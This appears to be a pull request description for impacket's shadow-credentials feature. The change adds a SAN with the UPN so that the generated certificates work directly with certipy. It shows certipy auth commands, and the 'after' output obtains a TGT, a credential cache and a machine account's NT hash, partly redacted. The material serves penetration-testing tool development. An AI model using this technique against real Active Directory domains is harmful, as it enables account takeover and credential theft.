add SAN with UPN by default when doing shadow credentials

[ShutdownRepo]

Original PR on fortra/impacket: fortra#1875

This way, the pfx created using shadow-credentials can be instantly used with certipy without specifying the domain, e.g. before:

$ certipy auth -pfx withoutSAN.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[-] Username or domain is not specified, and identification information was not found in the certificate

After:

$ certipy auth -pfx withSAN.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: user$@domain.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'user.ccache'
[*] Trying to retrieve NT hash for 'user$'
[*] Got hash for 'user$@domain.local': aad3b435b51404eeaad3b435b51404ee:REDACTED